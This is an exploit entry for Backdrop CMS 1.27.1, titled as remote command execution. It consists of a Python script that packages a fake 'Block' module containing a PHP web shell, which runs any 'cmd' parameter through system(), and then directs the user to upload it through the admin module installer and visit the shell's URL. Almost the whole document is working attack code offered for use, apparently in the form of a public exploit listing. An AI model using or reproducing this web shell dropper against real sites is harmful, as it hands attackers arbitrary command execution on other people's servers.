Backdrop CMS 1.27.1 - Remote Command Execution (RCE)

# Exploit Title: Backdrop CMS 1.27.1 - Remote Command Execution (RCE)
# Date: 04/27/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://backdropcms.org/
# Software Link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip
# Version: latest
# Tested on: MacOS

import os
import time
import zipfile


def create_files():
info_content = """
type = module
name = Block
description = Controls the visual building blocks a page is constructed
with. Blocks are boxes of content rendered into an area, or region, of a
web page.
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x

configure = admin/structure/block

; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
"""
shell_info_path = "shell/shell.info"
os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Klasörü
oluşturur
with open(shell_info_path, "w") as file:
file.write(info_content)

shell_content = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
"""
shell_php_path = "shell/shell.php"
with open(shell_php_path, "w") as file:
file.write(shell_content)

return shell_info_path, shell_php_path

def create_zip(info_path, php_path):
zip_filename = "shell.zip"
with zipfile.ZipFile(zip_filename, 'w') as zipf:
# Dosyaları shell klasörü altında sakla
zipf.write(info_path, arcname='shell/shell.info')
zipf.write(php_path, arcname='shell/shell.php')
return zip_filename

def main(url):
print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
time.sleep(3)

print("Evil module generating...")
time.sleep(2)

info_path, php_path = create_files()
zip_filename = create_zip(info_path, php_path)

print("Evil module generated!", zip_filename)
time.sleep(2)

print("Go to " + url + "/admin/modules/install and upload the " +
zip_filename + " for Manual Installation.")
time.sleep(2)

print("Your shell address:", url + "/modules/shell/shell.php")

if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python script.py [url]")
else:
main(sys.argv[1])